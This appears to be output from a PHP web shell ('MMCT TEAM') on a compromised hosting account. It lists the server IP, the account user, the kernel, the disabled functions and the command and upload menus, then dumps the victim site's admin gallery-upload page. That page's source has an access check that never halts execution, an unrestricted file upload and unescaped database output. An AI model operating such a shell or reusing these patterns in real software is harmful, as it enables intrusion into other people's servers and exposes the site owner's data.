MMCT TEAM
Server IP : 217.21.85.138  /  Your IP : 216.73.216.103
Web Server : LiteSpeed
System : Linux in-mum-web906.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u915722082 ( 915722082)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u915722082/public_html/DOT/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u915722082/public_html/DOT/admin/admin_add_gallery.php
<?php
 include "config.php";
 session_start();
 if(!isset($_SESSION['AID']))
	{
		echo"<script>alert('Access Denied');window.open('index','_self');</script>";
	}
?>

<!DOCTYPE html>
<html lang="en">
<head>
	<?php require_once "inc/head.php";?>
	 
	 <link rel="stylesheet" type="text/css" href="inc/css/jquery.dataTables.css"/>
	 <style>
		.dataTables_wrapper .dataTables_length, .dataTables_wrapper .dataTables_filter, .dataTables_wrapper .dataTables_info, .dataTables_wrapper .dataTables_processing, .dataTables_wrapper .dataTables_paginate {
			color: #38266f;
			margin-bottom:20px;
		}
		table.dataTable thead th, table.dataTable thead td {
			padding: 10px 18px;
			border-bottom: 1px solid #f7f1f1;
		}
		.btns{
			margin-top:15px;
		}
	</style>
</head>
<body class="page-body">

<div class="page-container">
	<div class="sidebar-menu">
		<?php require_once "inc/sidebar.php";?>
	</div>

	<div class="main-content">
				
		<div class="row">
			<?php require_once "inc/top_nav.php";?>
		
			<ol class="breadcrumb bc-3" >
				<li>
					<a href="admin_home"><i class="fa-home"></i>Home</a>
				</li>
				<li class="active">
					<strong>Update Project Gallery</strong>
				</li>
			</ol>
			
				<h2>  Project Gallery </h2><hr>
		<div class="row">
			<div class="col-md-12">
			
				<div class="col-md-12" >
				
					
						<?php 
						// if(isset($_POST["submitimg"]))	
						// {
							// $pid=$con->escape_string($_POST["pid"]);
							// $cid=$con->escape_string($_POST["cid"]);
							// if(is_array($_FILES))   
							// {  
								// foreach ($_FILES['files']['name'] as $name => $value)  
								// {  
									// $file_name = explode(".", $_FILES['files']['name'][$name]);  
									// $allowed_ext = array("jpg", "jpeg", "png", "gif");  
									// if(in_array($file_name[1], $allowed_ext))  
									// {  
										// $imgData =addslashes (file_get_contents($_FILES['files']['tmp_name'][$name]));
										// $sql = "INSERT INTO gallery (GIMG,PID,GORDER,CID) VALUES ('{$imgData}','{$pid}',0,'{$cid}')";
										// if($image = mysqli_query($con,$sql))
										// {
											// $msg = "insert success";
										// }			  
									// } 
									// else{
										// $error = "Uploaded Failed";
									// }				   
								// }
								// if(isset($msg))
								// {
									// echo"<div class='alert alert-success'>".$msg."</div>";			    
								// }
								// else{
									// echo"<div class='alert alert-danger'>".$error."</div>";			    
								// }
							

							// } 
						// }		 
						
					
					
					
						
						if(isset($_POST["submitimg"]))	
						{
							$title=$con->escape_string($_POST["title"]);
							$pid=$con->escape_string($_POST["pid"]);
							$cid=$con->escape_string($_POST["cid"]);
							
							if(isset($_FILES["img"])){
								$imgData =addslashes (file_get_contents($_FILES['img']['tmp_name']));
								$sql = "INSERT INTO gallery (GIMG,PID,GORDER,CID,GTITLE) VALUES ('{$imgData}','{$pid}',0,'{$cid}','{$title}')";
								if($con->query($sql)){
									echo "<div class='alert alert-success'> Insert Success</div>";
								}
							}
						}		 
						
					?>
			
				
					<form method="post" enctype="multipart/form-data" action='<?php echo $_SERVER["REQUEST_URI"]?>'>
						
						<div class="form-group col-md-3">
							<label> Project : </label>
							<select name="pid" id='pid' class='form-control'>
							<option value=''> Select</option>
							<?php 
								$sql="select * from project";
								$res=$con->query($sql);
								if($res->num_rows>0)
								{
									while($ro=$res->fetch_assoc())
									{
										echo "<option value='{$ro["PID"]}'>{$ro["PTITLE"]}</option>";
									}
								}
							?>
							</select>	
						</div>
						<div class="form-group col-md-3">
							<label> Category : </label>
							<select name="cid" id='cid' class='form-control'>
							
							</select>	
						</div>
						<div class="form-group col-md-3">
							<label  class="control-label"> Image Title</label>
							<input type="text" name="title" class="form-control" placeholder="Enter Title">
							
						</div>
						<div class="form-group col-md-3">
							<label>Upload Slider Image</label>
							<input type='file' name='img' multiple class="form-control">
						</div>
						
						<div class="form-group col-md-12" style="margin-top:10px;">
							<input type="submit" name="submitimg" value="Update Image" class='btn btn-primary'>
						</div>
					</form>	
					
					
					<div class="col-md-12">
						<?php
						$sql="select * from project";
							$list='';
							$result=$con->query($sql);
							if($result->num_rows>0)
							{
								$list.= "<table class='table table-bordered' id='myTable' >";
									$list.= "<thead>
												<tr class='text-primary'>	
													 
													 <th>Title</th>
													 <th>Sub Title</th>
													 <th>Page Type</th>
													 <th>Date</th>
													 <th>Client</th>
													
													 <th>Client Image</th>
													 <th>Images</th>
													
											</tr>
											</thead>
											<tbody>";
												while($row=$result->fetch_assoc())
												{
													$co=countRecord("SELECT count(*) as counts FROM gallery where PID={$row["PID"]}",$con);
													$a=$row['C_PHOTO'];
													//echo base64_decode($a);
													$list.="<tr>";
													
													$list.= "<td>".$row["PTITLE"]."</td>";
													$list.= "<td>".$row["SUB_TITLE"]."</td>";
													if($row["P_TYPE"]==1)
													{
														$list.= "<td>Single Page</td>";
													}
													else{
														$list.= "<td>Slider Page</td>";
													}

													$list.= "<td>".$row["PDATE"]."</td>";
													$list.= "<td>".$row["PCLIENT"]."</td>";
													
													$list.= "<td><img src='data:image;base64,".base64_encode($a)."' height='60' width='60'></td>";
													$list.= "<td ><a  href='view_gallery?pid=".$row["PID"]."' class='btn btn-default btn-block btns   btn-md' > View Images<span class='badge pull-right' >".$co."</span></td>";
													$list.="</tr>";
												}
									$list.= "</tbody>
										</table>";
							}
							else
							{
									$list.= "<div class='alert alert-danger'>No  Details Found</div>";
							}


						
						echo $list; 
							
					?>
					</div>
				</div>
				
			</div>
		
		<br />
		</div>
		
		<br />
		

<?php require_once "inc/footer.php";?>
<script src="inc/js/jquery.dataTables.js"></script>
<script>
	$(document).ready(function(){
	
	$('#myTable').DataTable();
	
   });
   
   $("#pid").change(function(){
		var pid=$(this).val();
		//alert(pid);
		if(pid!="-")
		{
			$.post("getgcat",{pid:pid},function(data){
				//alert(data);
				$("#cid").html(data);
			});	
		}
		else
		{
			$("#cid").html("<option value='-'>select</option>");
			
		}		
	});

</script>

</body>
</html>

MMCT - 2023